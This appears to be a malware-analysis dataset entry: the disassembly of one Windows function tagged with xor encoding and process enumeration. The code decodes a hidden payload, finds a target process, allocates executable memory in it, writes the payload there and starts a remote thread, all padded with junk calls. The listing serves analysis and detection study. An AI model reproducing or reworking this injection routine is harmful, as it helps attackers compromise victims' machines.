Function at 0x14000d8d0
Capabilities:
Encode data using xor
Enumerate processes

Disassembly:
mov rax, rsp
push rbp
push rbx
push rsi
push rdi
push r13
lea rbp, [rax - 0x248]
sub rsp, 0x320
mov qword [rax + 8], r12
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], r15
call fcn.14000d7e0
test eax, eax
je 0x14000d901
call fcn.14000d660
call fcn.14000d660
test eax, eax
je 0x14000d90f
call fcn.14000d720
call fcn.14000d720
test eax, eax
je 0x14000d91d
call fcn.14000d5b0
call fcn.14000d5b0
test eax, eax
je 0x14000d92b
call fcn.14000d660
call fcn.14000d720
test eax, eax
je 0x14000d939
call fcn.14000d660
call fcn.14000d5b0
test eax, eax
je 0x14000d947
call fcn.14000d7e0
call fcn.14000d660
test eax, eax
je 0x14000d955
call fcn.14000d720
call fcn.14000d7e0
test eax, eax
je 0x14000d963
call fcn.14000d660
xor r13d, r13d
mov r9d, r13d
call fcn.14000d8a0
mov r10d, eax
lea rbx, [0x140021bb0]
call fcn.14000d660
test eax, eax
je 0x14000d986
call fcn.14000d5b0
call fcn.14000d720
test eax, eax
je 0x14000d994
call fcn.14000d7e0
call fcn.14000d7e0
test eax, eax
je 0x14000d9a2
call fcn.14000d660
call fcn.14000d660
test eax, eax
je 0x14000d9b0
call fcn.14000d5b0
call fcn.14000d5b0
test eax, eax
je 0x14000d9be
call fcn.14000d720
call fcn.14000d7e0
test eax, eax
je 0x14000d9cc
call fcn.14000d5b0
call fcn.14000d5b0
test eax, eax
je 0x14000d9da
call fcn.14000d7e0
call fcn.14000d720
test eax, eax
je 0x14000d9e8
call fcn.14000d7e0
xor byte [r9 + rbx], r10b
call fcn.14000d7e0
test eax, eax
je 0x14000d9fa
call fcn.14000d660
call fcn.14000d660
test eax, eax
je 0x14000da08
call fcn.14000d720
call fcn.14000d720
test eax, eax
je 0x14000da16
call fcn.14000d5b0
call fcn.14000d5b0
test eax, eax
je 0x14000da24
call fcn.14000d660
call fcn.14000d720
test eax, eax
je 0x14000da32
call fcn.14000d660
call fcn.14000d5b0
test eax, eax
je 0x14000da40
call fcn.14000d7e0
call fcn.14000d660
test eax, eax
je 0x14000da4e
call fcn.14000d720
call fcn.14000d7e0
test eax, eax
je 0x14000da5c
call fcn.14000d660
inc r9
cmp r9, 0x39f
jb 0x14000d978
movzx eax, word [0x14000cbd8]
mov esi, 4
movups xmm0, xmmword [0x14000cbc0]
mov r8d, r13d
mov r14d, dword [0x140021038]
movsd xmm1, qword [0x14000cbd0]
movaps xmmword [rsp + 0x310], xmm6
movaps xmmword [rsp + 0x300], xmm7
mov word [rsp + 0x58], ax
lea eax, [rsi + 0x1b]
movaps xmmword [rsp + 0x2f0], xmm8
movsd qword [rsp + 0x50], xmm1
movups xmmword [rsp + 0x40], xmm0
cmp r14d, 2
jl 0x14000dbb3
movdqa xmm2, xmmword [0x14000cc10]
mov r8d, 8
movdqa xmm3, xmmword [0x14000cc20]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x14000cc70]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm6, esi
movd xmm5, eax
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14000cc30]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [0x14000cbc0]
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
paddw xmm2, xmmword [0x14000cc40]
pxor xmm2, xmm0
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movq qword [rsp + 0x40], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14000cc30]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rsp + 0x48]
pshufd xmm2, xmm1, 0xd8
paddw xmm2, xmmword [0x14000cc40]
pxor xmm2, xmm0
movq qword [rsp + 0x48], xmm2
mov eax, r8d
lea r9, [rsp + 0x40]
lea r9, [r9 + rax*2]
nop
mov eax, 0x5397829d
lea r9, [r9 + 2]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub ax, dx
movzx eax, ax
imul ecx, eax, 0x31
add cx, r8w
inc r8d
xor word [r9 - 2], cx
cmp r8d, 0xd
jl 0x14000dbc0
xor edx, edx
mov r12d, r13d
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x14000dc63
lea rdx, [rbp - 0x50]
mov dword [rbp - 0x50], 0x238
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x14000dc5a
nop word [rax + rax]
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 0x24]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x14000dc56
lea rdx, [rbp - 0x50]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x14000dc30
jmp 0x14000dc5a
mov r12d, dword [rbp - 0x48]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x73e
call fcn.140013854
mov r15, rax
mov rcx, rax
mov eax, 7
nop dword [rax + rax]
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rbx]
movups xmm1, xmmword [rbx + 0x10]
lea rbx, [rbx + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm0, xmmword [rbx - 0x60]
movups xmmword [rcx - 0x70], xmm1
movups xmm1, xmmword [rbx - 0x50]
movups xmmword [rcx - 0x60], xmm0
movups xmm0, xmmword [rbx - 0x40]
movups xmmword [rcx - 0x50], xmm1
movups xmm1, xmmword [rbx - 0x30]
movups xmmword [rcx - 0x40], xmm0
movups xmm0, xmmword [rbx - 0x20]
movups xmmword [rcx - 0x30], xmm1
movups xmm1, xmmword [rbx - 0x10]
movups xmmword [rcx - 0x20], xmm0
movups xmmword [rcx - 0x10], xmm1
sub rax, 1
jne 0x14000dc80
mov rax, qword [rbx + 0x10]
movups xmm0, xmmword [rbx]
movups xmmword [rcx], xmm0
mov qword [rcx + 0x10], rax
mov eax, dword [rbx + 0x18]
mov dword [rcx + 0x18], eax
movzx eax, word [rbx + 0x1c]
mov word [rcx + 0x1c], ax
movzx eax, byte [rbx + 0x1e]
mov byte [rcx + 0x1e], al
call fcn.14000d660
test eax, eax
je 0x14000dd04
call fcn.14000d5b0
call fcn.14000d720
test eax, eax
je 0x14000dd12
call fcn.14000d7e0
call fcn.14000d7e0
test eax, eax
je 0x14000dd20
call fcn.14000d660
call fcn.14000d660
test eax, eax
je 0x14000dd2e
call fcn.14000d5b0
call fcn.14000d5b0
test eax, eax
je 0x14000dd3c
call fcn.14000d720
call fcn.14000d7e0
test eax, eax
je 0x14000dd4a
call fcn.14000d5b0
call fcn.14000d5b0
test eax, eax
je 0x14000dd58
call fcn.14000d7e0
call fcn.14000d720
test eax, eax
je 0x14000dd66
call fcn.14000d7e0
movsd xmm1, qword [0x14000cc00]
mov r8d, r13d
movzx eax, word [0x14000cc08]
mov ebx, 0x1f
movsd qword [rsp + 0x6a], xmm1
mov word [rsp + 0x72], ax
movups xmm0, xmmword [0x14000cbf0]
movups xmmword [rsp + 0x5a], xmm0
cmp r14d, 2
jl 0x14000de95
movdqa xmm2, xmmword [0x14000cc10]
mov r8d, 8
movdqa xmm4, xmmword [0x14000cc70]
movdqa xmm1, xmm2
movdqa xmm8, xmmword [0x14000cc40]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movd xmm6, esi
movd xmm5, ebx
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14000cc30]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm8
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [0x14000cbf0]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movdqa xmm2, xmmword [0x14000cc20]
pxor xmm3, xmm0
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movq qword [rsp + 0x5a], xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14000cc30]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm8
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rsp + 0x62]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
pxor xmm3, xmm0
movq qword [rsp + 0x62], xmm3
mov eax, r8d
lea r9, [rsp + 0x5a]
lea r9, [r9 + rax*2]
mov eax, 0x5397829d
lea r9, [r9 + 2]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub ax, dx
movzx eax, ax
imul ecx, eax, 0x31
add cx, r8w
inc r8d
xor word [r9 - 2], cx
cmp r8d, 0xd
jl 0x14000dea1
lea rcx, [rsp + 0x5a]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov ecx, dword [0x14000cbe8]
cmp r14d, 2
movsd xmm0, qword [0x14000cbe0]
mov rsi, rax
mov r14, qword [rsp + 0x358]
mov r8d, r13d
mov dword [rsp + 0x48], ecx
movzx ecx, word [0x14000cbec]
mov word [rsp + 0x4c], cx
movzx ecx, byte [0x14000cbee]
mov byte [rsp + 0x4e], cl
movsd qword [rsp + 0x40], xmm0
jl 0x14000e032
movdqa xmm2, xmmword [0x14000cc10]
mov eax, 4
movdqa xmm4, xmmword [0x14000cc70]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x14000cc20]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
mov r8d, 8
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm6, eax
movd xmm5, ebx
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14000cc30]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, dword [0x14000cbe0]
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x14000cc50]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x14000cc60]
pxor xmm2, xmm0
punpckldq xmm1, xmm3
movd dword [rsp + 0x40], xmm2
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14000cc30]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, dword [rsp + 0x44]
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14000cc50]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x14000cc60]
pxor xmm2, xmm0
movd dword [rsp + 0x44], xmm2
movaps xmm8, xmmword [rsp + 0x2f0]
lea r9, [rsp + 0x40]
movaps xmm7, xmmword [rsp + 0x300]
movaps xmm6, xmmword [rsp + 0x310]
mov eax, r8d
add r9, rax
nop word [rax + rax]
mov eax, 0x5397829d
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x31
add cl, r8b
inc r8d
xor byte [r9 - 1], cl
cmp r8d, 0xf
jl 0x14000e060
lea rdx, [rsp + 0x40]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r8d, r12d
xor edx, edx
mov ecx, 0x1fffff
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov rcx, rax
mov r9d, 0x3000
mov r8d, 0x39f
mov rdi, rax
call rbx
movdqa xmm0, xmmword [0x14000cc90]
lea rdx, [rsp + 0x78]
mov rcx, rsi
mov word [rbp - 0x78], 0x7972
movdqu xmmword [rsp + 0x78], xmm0
mov rbx, rax
mov byte [rbp - 0x76], r13b
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r9d, 0x39f
mov qword [rsp + 0x20], r13
mov r8, r15
mov rdx, rbx
mov rcx, rdi
call rax
call fcn.14000d5b0
mov r15, qword [rsp + 0x360]
mov r12, qword [rsp + 0x350]
test eax, eax
je 0x14000e12f
call fcn.14000d720
call fcn.14000d7e0
test eax, eax
je 0x14000e13d
call fcn.14000d5b0
call fcn.14000d5b0
test eax, eax
je 0x14000e14b
call fcn.14000d7e0
call fcn.14000d720
test eax, eax
je 0x14000e159
call fcn.14000d7e0
call fcn.14000d7e0
test eax, eax
je 0x14000e167
call fcn.14000d660
call fcn.14000d660
test eax, eax
je 0x14000e175
call fcn.14000d720
call fcn.14000d720
test eax, eax
je 0x14000e183
call fcn.14000d5b0
call fcn.14000d5b0
test eax, eax
je 0x14000e191
call fcn.14000d660
movdqa xmm0, xmmword [0x14000cc80]
lea rdx, [rbp - 0x70]
mov rcx, rsi
mov word [rbp - 0x60], 0x6461
movdqu xmmword [rbp - 0x70], xmm0
mov byte [rbp - 0x5e], r13b
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x30], r13
mov r9, rbx
mov dword [rsp + 0x28], r13d
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], r13
mov rcx, rdi
call rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
add rsp, 0x320
pop r13
pop rdi
pop rsi
pop rbx
pop rbp
ret